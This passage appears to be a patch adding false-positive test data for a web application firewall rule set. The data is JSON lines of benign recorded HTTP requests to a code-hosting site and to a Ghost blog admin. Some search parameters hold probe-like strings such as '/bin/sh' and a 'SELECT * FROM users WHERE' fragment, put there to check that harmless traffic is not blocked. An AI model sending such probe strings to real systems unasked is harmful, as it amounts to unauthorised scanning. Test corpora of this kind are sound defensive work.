{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/teams/-/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/acme?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/code?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/projects?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=release%20notes&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=release%20notes&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/tags?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestone/1?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/projects?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/packages?q=release%20notes&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/posters?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls/posters?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/orgs?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/emails?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/packages?q=release%20notes&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 60", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=release%20notes", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=release%20notes&page=1"}
|
||||||
|
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 105", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=release%20notes", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=release%20notes&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/tags?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/packages?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/packages?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/packages?q=org.apache.commons.logging&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/packages?q=org.apache.commons.logging&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
+762
@@ -0,0 +1,762 @@
|
|||||||
|
# Ordinary Ghost 6.76.0 requests that the Core Rule Set must let through at the
|
||||||
|
# defaults and while bodies are read. They were recorded from a Ghost driven by
|
||||||
|
# a headless Chrome, signed out, as a member and in the admin, and by curl on
|
||||||
|
# the Content API and the Admin API. Each line is one request as JSON. Names,
|
||||||
|
# addresses, passwords and keys are invented. The browser's User-Agent is an
|
||||||
|
# ordinary Chrome's. A body or a multipart part that is not text is written as
|
||||||
|
# base64.
|
||||||
|
{"method": "GET", "target": "/ghost/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/index-BiSgg_Os.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/react-DFHZ-wBR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/react-dom-SnO3ZWom.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/jsx-runtime-C_PdNFfk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/framework-provider-DCOh-eaQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/hooks-CBIG5v-t.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/src-CoPg2ZdF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/update-queries-1CGdpz7p.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/users-B0PWKMfp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/members-DttKKvqe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/settings-CSTDfrUo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-tinybird-token-CzoVNSUR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-tinybird-query-CluOFAVL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
